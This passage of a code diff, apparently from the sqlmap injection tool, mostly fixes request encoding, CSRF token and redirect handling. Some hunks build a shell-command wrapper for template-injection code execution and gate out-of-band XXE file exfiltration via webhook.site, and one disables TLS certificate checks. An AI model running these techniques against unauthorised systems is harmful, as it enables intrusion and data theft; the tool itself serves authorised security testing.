_http_client.HTTPException(getSafeExString(ex)) else: + if conf.cj is not None: + try: + conf.cj.extract_cookies(conn, req) + except Exception as ex: + logger.debug("problem occurred while storing HTTP/2 cookies ('%s')" % getSafeExString(ex)) + if conn.code >= 400: raise _urllib.error.HTTPError(conn.geturl(), conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) @@ -1109,8 +1144,10 @@ class Connect(object): if kb.postHint == POST_HINT.GRPC_WEB: page = grpcDecodeResponse(page, responseHeaders) - threadData.lastPage = page - threadData.lastCode = code + # Note: in case of a (nested) retried request, its (last) response is the relevant one + if threadData.lastRequestUID == requestUID: + threadData.lastPage = page + threadData.lastCode = code socket.setdefaulttimeout(conf.timeout) @@ -1239,8 +1276,9 @@ class Connect(object): delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) if not disableTampering and kb.tamperFunctions: + hints = {} # Note: shared among all tamper functions (e.g. 'luanginx,space2comment' must keep the former's HINT.PREPEND) + for function in kb.tamperFunctions: - hints = {} try: payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) @@ -1298,7 +1336,7 @@ class Connect(object): if not skip: if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) - value = urlencode(value, spaceplus=kb.postSpaceToPlus) + value = urlencode(value, safe="%%&=-_%s" % (conf.paramDel or ""), spaceplus=kb.postSpaceToPlus) payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) value = agent.replacePayload(value, payload) postUrlEncode = False @@ -1405,7 +1443,7 @@ class Connect(object): logger.warning(warnMsg) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') + page = urldecode(page, spaceplus=False) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') - Note: '+' is a legitimate (e.g. Base64) token value character match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) @@ -1413,10 +1451,10 @@ class Connect(object): match = re.search(r"(?i)]+\bvalue=[\"']?(?P[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P%s)\b" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"(?P%s)[\"']:[\"'](?P[^\"']+)" % conf.csrfToken, page or "", re.I) + match = re.search(r"(?P%s)[\"']\s*:\s*[\"'](?P[^\"']+)" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"\b(?P%s)\s*[:=]\s*(?P\w+)" % conf.csrfToken, getUnicode(headers), re.I) + match = re.search(r"\b(?P%s)\s*[:=]\s*(?P[^\s;,]+)" % conf.csrfToken, getUnicode(headers), re.I) if not match: match = re.search(r"\b(?P%s)\s*=\s*['\"]?(?P[^;'\"]+)" % conf.csrfToken, page or "", re.I) @@ -1460,14 +1498,17 @@ class Connect(object): if token: token.value = token.value.strip("'\"") + # Note: (decoded) token value has to be URL encoded for (URL encoded) places (e.g. Base64 token 'ab+cd/ef==' -> 'ab%2Bcd%2Fef%3D%3D') + encoded = urlencode(token.value, convall=True) + for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): if candidate in conf.parameters: if candidate == PLACE.URI and uri: - uri = _adjustParameter(uri, token.name, token.value) + uri = _adjustParameter(uri, token.name, encoded) elif candidate == PLACE.GET and get: - get = _adjustParameter(get, token.name, token.value) + get = _adjustParameter(get, token.name, encoded) elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: - post = _adjustParameter(post, token.name, token.value) + post = _adjustParameter(post, token.name, encoded if candidate == PLACE.POST else token.value) for i in xrange(len(conf.httpHeaders)): if conf.httpHeaders[i][0].lower() == token.name.lower(): @@ -1635,7 +1676,7 @@ class Connect(object): found = True post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) + regex = r"((\A|%s)%s=).*?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) @@ -1648,7 +1689,7 @@ class Connect(object): found = True uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) - regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) + regex = r"((\A|%s\s*)%s=).*?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) @@ -1668,7 +1709,7 @@ class Connect(object): cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) if not conf.skipUrlEncode: - get = urlencode(get, limit=True) + get = urlencode(get, safe="%%&=-_%s" % (conf.paramDel or ""), limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): @@ -1683,10 +1724,11 @@ class Connect(object): if (conf.safeFreq or 0) > 0 and not buildOnly: kb.queryCounter += 1 if kb.queryCounter % conf.safeFreq == 0: + # Note: "safe" visit must not carry the payload (e.g. in case of Cookie injection) if conf.safeUrl: - Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) + Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=conf.parameters.get(PLACE.COOKIE) if place == PLACE.COOKIE else cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) elif kb.safeReq: - Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) + Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers, direct=True) # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 diff --git a/lib/request/http2.py b/lib/request/http2.py index fc8ba0fd7..491809a46 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -1496,6 +1496,7 @@ class H2Response(object): if not name.startswith(":"): self._info[name] = value self._info.headers = ["%s: %s\r\n" % item for item in self._info.items()] + self._info.getheaders = lambda name: self._info.get_all(name) or [] # Note: Python 2 cookielib's interface (e.g. for Set-Cookie) def info(self): return self._info diff --git a/lib/request/inject.py b/lib/request/inject.py index ef2f7ccb5..2be4fcc9f 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -112,11 +112,14 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: - msg = "multi-threading is considered unsafe in " - msg += "time-based data retrieval. Are you sure " - msg += "of your choice (breaking warranty) [y/N] " + if kb.get("timeless") is not None: # Note: (HTTP/2) timeless oracle is concurrency-safe (cf. valueParallelEligible()) + kb.forceThreads = True + else: + msg = "multi-threading is considered unsafe in " + msg += "time-based data retrieval. Are you sure " + msg += "of your choice (breaking warranty) [y/N] " - kb.forceThreads = readInput(msg, default='N', boolean=True) + kb.forceThreads = readInput(msg, default='N', boolean=True) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): @@ -674,6 +677,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): + if fromUser and re.search(r"(?i)\bDISTINCT\b", query): + singleTimeWarnMessage("DISTINCT is not supported in provided SQL queries (results can contain duplicates)") query = query.replace("DISTINCT ", "") if not conf.forceDns: diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py index 3c1856ace..4c58097d8 100644 --- a/lib/request/interactsh.py +++ b/lib/request/interactsh.py @@ -49,6 +49,21 @@ class Interactsh(object): def __init__(self, server=None, token=None): self.server = None self.token = token or conf.get("oobToken") + self._scheme = "https" + self._ownServer = bool(server) + + # Note: explicitly provided server can come with a scheme (e.g. 'http://oob.example.com/') - the rest is used as the (callback) host + if server: + server = server.strip() + for scheme in ("https", "http"): + if server.lower().startswith("%s://" % scheme): + self._scheme, server = scheme, server[len(scheme) + len("://"):] + server = server.rstrip('/') + + # Note: (private) token belongs only to an explicitly provided server (i.e. never to be sent to a public one) + if self.token and not server: + logger.warning("OOB token is used only with an explicitly provided OOB server (option '--oob-server')") + self.token = None self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True) self.secret = randomStr(32, lowercase=True) self.registered = False @@ -73,12 +88,15 @@ class Interactsh(object): if not candidate: continue body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId}) - if self._request("https://%s/register" % candidate, post=body): + if self._request("%s://%s/register" % (self._scheme, candidate), post=body): self.server = candidate self.registered = True logger.debug("registered with OOB interaction server '%s'" % candidate) break + if self._ownServer and not self.registered: + logger.warning("unable to register with the provided OOB server '%s://%s'" % (self._scheme, server)) + def _request(self, url, post=None): """Direct request to the interactsh server (a fixed service, never the target). Self-contained on urllib so it works regardless of sqlmap's request-stack init @@ -98,11 +116,10 @@ class Interactsh(object): handlers = [] try: - # Verify TLS for the (public, valid-cert) interaction server by default; - # only skip verification when the user has globally opted out (--force-ssl-verify - # off / verifyCert False), matching sqlmap's own TLS posture. + # Note: TLS is verified for the (built-in) public interaction servers, while the explicitly + # provided (own) server is treated as any other target (i.e. self-signed certificates are fine) context = ssl.create_default_context() - if conf.get("verifyCert") is False: + if getattr(self, "_ownServer", False): context.check_hostname = False context.verify_mode = ssl.CERT_NONE handlers.append(HTTPSHandler(context=context)) @@ -260,7 +277,7 @@ class Interactsh(object): if not self.registered: return [] - page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret)) + page = self._request("%s://%s/poll?id=%s&secret=%s" % (getattr(self, "_scheme", "https"), self.server, self.correlationId, self.secret)) if not page: return [] @@ -341,7 +358,7 @@ class Interactsh(object): def _deregister(self): if self.registered: body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret}) - self._request("https://%s/deregister" % self.server, post=body) + self._request("%s://%s/deregister" % (getattr(self, "_scheme", "https"), self.server), post=body) self.registered = False diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 5b1c3495e..9961d2cd7 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -37,6 +37,9 @@ class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): try: if ssl and hasattr(ssl, "SSLContext") and hasattr(ssl, "create_default_context"): ctx = ssl.create_default_context() + # Note: no server certificate validation (e.g. self-signed/internal CA), as everywhere else (e.g. httpshandler.py) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(certfile=self.auth_file, keyfile=self.auth_file) try: return _http_client.HTTPSConnection(host, timeout=timeout, context=ctx) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 32f65f992..e214e358e 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -10,6 +10,7 @@ import re import time import types +from lib.core.common import checkSameHost from lib.core.common import getHostHeader from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic @@ -180,6 +181,10 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): if conf.authRefresh and not authrefresh.sameOrigin(req.get_full_url(), redurl): req.headers = authrefresh.stripHeaders(req.headers) req.unredirected_hdrs = authrefresh.stripHeaders(req.unredirected_hdrs) + + # Note: credentials are not to be forwarded to a different host (like browsers, curl and requests do) (#6185) + if not checkSameHost(req.get_full_url(), redurl): + req.headers = dict((key, value) for key, value in req.headers.items() if key.upper() not in (HTTP_HEADER.COOKIE.upper(), HTTP_HEADER.AUTHORIZATION.upper())) result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except _urllib.error.HTTPError as ex: result = error = ex diff --git a/lib/request/websocket.py b/lib/request/websocket.py index 1d8f56aee..8f579d3e1 100644 --- a/lib/request/websocket.py +++ b/lib/request/websocket.py @@ -39,6 +39,9 @@ class WebSocketTimeoutException(WebSocketException): class WebSocketConnectionClosedException(WebSocketException): pass +class WebSocketNormalClosureException(WebSocketConnectionClosedException): + pass + class WebSocket(object): """ Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(), @@ -58,7 +61,7 @@ class WebSocket(object): if self.sock is not None: self.sock.settimeout(timeout) - def connect(self, url, header=None, cookie=None): + def connect(self, url, header=None, cookie=None, hostHeader=None): parts = _urllib.parse.urlsplit(url) secure = parts.scheme == "wss" host = parts.hostname @@ -73,8 +76,10 @@ class WebSocket(object): self.sock.settimeout(self._timeout) hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals - if port not in (80, 443): + if port != (443 if secure else 80): # Note: only the scheme's own default port gets omitted hostport = "%s:%d" % (hostport, port) + if hostHeader is not None: + hostport = getText(hostHeader) key = getText(base64.b64encode(os.urandom(16))) lines = ["GET %s HTTP/1.1" % resource, @@ -157,10 +162,14 @@ class WebSocket(object): def recv(self): data = bytearray() + receivedFragment = False while True: fin, opcode, payload = self._recvFrame() if opcode == OPCODE_CLOSE: self._closed = True + normal = not payload or (len(payload) >= 2 and struct.unpack("!H", bytes(payload[:2]))[0] in (1000, 1001)) + if normal and not receivedFragment: + raise WebSocketNormalClosureException("WebSocket connection closed") raise WebSocketConnectionClosedException("WebSocket connection closed") elif opcode == OPCODE_PING: self._sendFrame(bytes(payload), OPCODE_PONG) @@ -169,6 +178,7 @@ class WebSocket(object): continue data += payload + receivedFragment = True if fin: break diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index aebe5a33c..2bfff59cf 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -327,7 +327,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None threadData = getCurrentThreadData() threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) - retVal = hashDBRetrieve(expression, checkConf=True) + retVal = hashDBRetrieve(expression, checkConf=True) if not (conf.firstChar or conf.lastChar) else None # Note: stored (complete) value doesn't correspond to a --first/--last range if retVal: if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: @@ -1251,7 +1251,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) - elif partialValue: + elif partialValue and not (conf.firstChar or conf.lastChar): # Note: same as above (otherwise resumed as the start of the complete value) hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index f89b5afee..8062d3b29 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -213,6 +213,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if isinstance(retVal, six.string_types): retVal = htmlUnescape(retVal).replace("
    ", "\n") + # Note: SQLite's error message of JSON_EXTRACT (e.g. "bad JSON path: '...'") quotes the (path) value by doubling its single quotes + if Backend.isDbms(DBMS.SQLITE) and not conf.hexConvert and "JSON_EXTRACT" in (getTechniqueData().vector or ""): + retVal = retVal.replace("''", "'") + retVal = _errorReplaceChars(retVal) if retVal is not None: diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index a4576f03c..7cb8ec0b3 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -357,8 +357,9 @@ def _cell(value): # --- HTTP transport --------------------------------------------------------- -def _gqlSend(endpoint, query, variables=None): +def _gqlSend(endpoint, query, variables=None, errorBody=False): # POST a JSON GraphQL request to `endpoint`, returning (body, http_code) + # Note: errorBody keeps 5xx bodies (e.g. SQL error inside GraphQL 'errors') for error-message fingerprinting body = {"query": query} if variables: body["variables"] = variables @@ -382,7 +383,7 @@ def _gqlSend(endpoint, query, variables=None): return None, 0 finally: kb.postHint = oldPostHint - if blockedStatus(code): # WAF / rate-limit / 5xx is not a usable oracle sample + if blockedStatus(code) and not (errorBody and code >= 500): # WAF / rate-limit / 5xx is not a usable oracle sample return None, code return page or "", code @@ -944,16 +945,16 @@ def _detectError(slot, endpoint): # influence. Require the signature to be ABSENT from a benign baseline, appear only AFTER the # injected value, and REPRODUCE before accepting it. benign = _buildQuery(slot, "1") - basePage = _gqlSend(endpoint, benign)[0] if benign else None + basePage = _gqlSend(endpoint, benign, errorBody=True)[0] if benign else None baseErr = _errorText(basePage) or "" def _appearsOnlyAfterInjection(query, matcher): # matcher(text) -> re.Match or None; True only if it hits the injected response, is absent # from the benign baseline, and reproduces on a second injected request - err = _errorText(_gqlSend(endpoint, query)[0]) + err = _errorText(_gqlSend(endpoint, query, errorBody=True)[0]) if not err or not matcher(err) or matcher(baseErr): return None - err2 = _errorText(_gqlSend(endpoint, query)[0]) + err2 = _errorText(_gqlSend(endpoint, query, errorBody=True)[0]) return matcher(err) if (err2 and matcher(err2)) else None for payload in _SQL_ERROR_PAYLOADS: @@ -963,7 +964,7 @@ def _detectError(slot, endpoint): for pattern in ERROR_PARSING_REGEXES: m = _appearsOnlyAfterInjection(query, lambda t, p=pattern: re.search(p, t)) if m: - detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query)[0])[:200] + detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query, errorBody=True)[0])[:200] return "error-based", detail, payload for payload in (_NOSQL_NE, _NOSQL_IN): @@ -972,7 +973,7 @@ def _detectError(slot, endpoint): continue m = _appearsOnlyAfterInjection(query, lambda t: re.search(NOSQL_ERROR_REGEX, t)) if m: - return "nosql-error-based", (_errorText(_gqlSend(endpoint, query)[0]) or "")[:200], payload + return "nosql-error-based", (_errorText(_gqlSend(endpoint, query, errorBody=True)[0]) or "")[:200], payload return None, None, None @@ -1651,6 +1652,10 @@ def _enumerate(oracle): conf.dumper.singleString("GraphQL database tables [%d]:\n%s" % ( len(tables), _grid(["table"], [[_] for _ in tables]))) + # Note: honoring -T (as in case of regular SQL enumeration) + if conf.tbl: + tables = [_ for _ in tables if _.lower() in set(__.lower() for __ in conf.tbl.split(','))] + for table in tables: parsed = _dumpTable(infer, dialect, table) if not parsed: diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py index f880e497a..f728462c7 100644 --- a/lib/techniques/hql/inject.py +++ b/lib/techniques/hql/inject.py @@ -37,6 +37,7 @@ from lib.core.settings import HQL_MAX_RECORDS from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request from lib.utils.xrange import xrange +from thirdparty.six.moves.urllib.parse import quote as _quote SENTINEL = randomStr(length=10, lowercase=True) @@ -126,7 +127,8 @@ def _send(place, parameter, value): time.sleep(conf.delay) old_params = conf.parameters.get(place, "") - conf.parameters[place] = _replaceSegment(place, parameter, value) + # Note: URL encoded value (raw '+', '&', '%', '#', '?' would be misinterpreted), as with other non-SQL engines (e.g. OData) + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) try: if conf.verbose >= 3: @@ -406,11 +408,9 @@ for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1): # Charset as an HQL string literal for LOCATE()-based binary search: each character's # 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a # linear equality scan), and LOCATE is an index lookup so no lexicographic ordering / -# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded -# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as -# it was under the previous linear scan). ', ", \ are already excluded above. -_URL_HOSTILE = set(ord(_) for _ in "%&+#?") -_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE) +# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are fine, as +# values are URL encoded by _send(). ', ", \ are already excluded above. +_CS_LITERAL = "".join(chr(_) for _ in _CHARSET) def _scalar(entity, attrExpr, pin, after=None): diff --git a/lib/techniques/jwt/inject.py b/lib/techniques/jwt/inject.py index df6bdf704..495c3735e 100644 --- a/lib/techniques/jwt/inject.py +++ b/lib/techniques/jwt/inject.py @@ -85,6 +85,10 @@ def _send(token): skipUrlEncode = conf.skipUrlEncode conf.skipUrlEncode = True + # Note: a rejected token is commonly answered with HTTP 401/403 - that is an oracle answer here, not a connection problem + ignoreCode = conf.ignoreCode + conf.ignoreCode = list(set((ignoreCode or []) + [401, 403])) + if conf.delay: time.sleep(conf.delay) @@ -110,6 +114,7 @@ def _send(token): return None finally: conf.skipUrlEncode = skipUrlEncode + conf.ignoreCode = ignoreCode return page diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index 98b3fb8d4..c853876b8 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -15,7 +15,9 @@ from lib.core.common import beep from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER @@ -816,7 +818,8 @@ def _winChallenge(a, b): def _unixFramed(cmd, sa, sb, ea, eb): # printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated - return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) + # Note: a '<' canary is printed right after the start marker - it reveals whether the engine HTML-escapes the output + return "printf %%s%%s %s %s; printf %%s \\<; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) def _winFramed(cmd, sa, sb, ea, eb): @@ -1017,9 +1020,24 @@ def _executeCommand(place, parameter, engine, cmd): framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb)) for payloadTemplate, description in engine.rcePayloads: payload = payloadTemplate.replace("{CMD}", framedCmd) - page = getUnicode(_send(place, parameter, original + payload) or "") + + # Note: raw page (i.e. without sqlmap's generic decoding, which would e.g. turn a genuine '%41' into 'A') + disableHtmlDecoding = kb.disableHtmlDecoding + kb.disableHtmlDecoding = _family == "unix" + try: + page = getUnicode(_send(place, parameter, original + payload) or "") + finally: + kb.disableHtmlDecoding = disableHtmlDecoding + out = _framedOutput(page, start, end) - if out is not None: + # Note: without a shell (e.g. Java's Runtime.exec) printf recycles its format over the rest of the (unexecuted) command + # line (e.g. ';id;printf%s%s'), "reproducing" both markers by itself - leftover format is the telltale + if out is not None and "%s%s" not in out: + if _family == "unix": + if out.startswith("<"): # engine HTML-escaped the output (e.g. Jinja2 with autoescaping) + out = htmlUnescape(out[len("<"):]).strip() + elif out.startswith("<"): # raw output + out = out[len("<"):].strip() conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out)) return diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 5a83f76ab..0a413884a 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -348,12 +348,16 @@ def unionUse(expression, unpack=True, dump=False): # Only remove outer ordering. Nested ORDER BY clauses can select which # rows survive a ROWNUM/TOP limit and must remain intact. positions = set(index for keyword in set(re.findall(r"(?i)ORDER BY", expression)) for index in zeroDepthSearch(expression, keyword)) - expression = re.sub(r"(?i)ORDER BY\s+[\w,]+", lambda match: "" if match.start() in positions else match.group(0), expression) + expression = re.sub(r"(?i)ORDER BY\s+[\w.]+(?:\s+(?:ASC|DESC)\b)?(?:\s*,\s*[\w.]+(?:\s+(?:ASC|DESC)\b)?)*", lambda match: "" if match.start() in positions else match.group(0), expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)): + # Note: (outer) LIMIT/OFFSET/FETCH would apply to the single aggregated row (i.e. being ignored), while Microsoft SQL Server's FOR JSON wraps the whole statement + limited = not Backend.isDbms(DBMS.MSSQL) and any(zeroDepthSearch(expression.upper(), _) for _ in (" LIMIT ", " OFFSET ", " FETCH ")) + + # Note: Oracle, PostgreSQL, Microsoft SQL Server and SQLite aggregate the raw (not hex-converted) fields, while parseUnionPage() decodes them all in case of '--hex' + if not limited and Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)) and not (conf.hexConvert and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index 4df434b63..fd7362835 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -43,6 +43,7 @@ from lib.core.settings import XQUERY_HARVEST_CHARS from lib.core.settings import XQUERY_MAX_FILE_LENGTH from lib.request.connect import Connect as Request from lib.utils.xrange import xrange +from thirdparty.six.moves.urllib.parse import quote as _quote SENTINEL = randomStr(length=10, lowercase=True) @@ -154,7 +155,8 @@ def _send(place, parameter, value): time.sleep(conf.delay) old_params = conf.parameters.get(place, "") - conf.parameters[place] = _replaceSegment(place, parameter, value) + # Note: POST body is sent as-is (i.e. raw '+', '&', '%' would be misinterpreted), while GET is URL encoded later on + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="") if place == PLACE.POST else value) try: kwargs = {"raise404": False, "silent": True} diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 042177be5..3c2c3aa2a 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -821,6 +821,13 @@ def _tryOobExfil(xml, rootName): if not fileName: return None + # Note: provided (own) OOB server is not a consent for contacting a public service (needed for hosting of the external DTD) + if conf.get("oobServer"): + message = "file exfiltration requires hosting of an external DTD, which provided OOB server can't do. " + message += "Do you want to use public service (webhook.site) for that? [y/N] " + if not readInput(message, default='N', boolean=True): + return None + wh = WebhookSite() exfilToken = wh.newToken() if not exfilToken: diff --git a/lib/utils/brute.py b/lib/utils/brute.py index eb619fba0..f37dcaf89 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -55,7 +55,8 @@ def _addPageTextWords(): for word in pageWords: word = word.lower() - if len(word) > 2 and not word[0].isdigit() and word not in wordsList: + # Note: words of the (boolean) oracle string would be "found" (e.g. reflected inside an error message) + if len(word) > 2 and not word[0].isdigit() and word not in wordsList and not (conf.string and word in conf.string.lower()): wordsList.append(word) return wordsList diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 05cc4a6b4..9a5b15c52 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -501,7 +501,7 @@ def normalizeCrawlingResults(targets): # action name and parameters (e.g. /users/edit?id= vs /products/edit?id=) are not collapsed match = re.search(r"\A[^?]+\?.+\Z", value) if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + key = "%s %s" % (target[1] or "GET", re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")) # Note: e.g. GET link and POST form with same parameter(s) are distinct targets if '=' in key and key not in seen: results.add(target) seen.add(key) diff --git a/lib/utils/har.py b/lib/utils/har.py index 0eb31a1c1..c684ed499 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -36,10 +36,10 @@ class HTTPCollector(object): def setExtendedArguments(self, arguments): self.extendedArguments = arguments - def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None): + def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None, scheme=None): self.messages.append(RawPair(requestMessage, responseMessage, startTime=startTime, 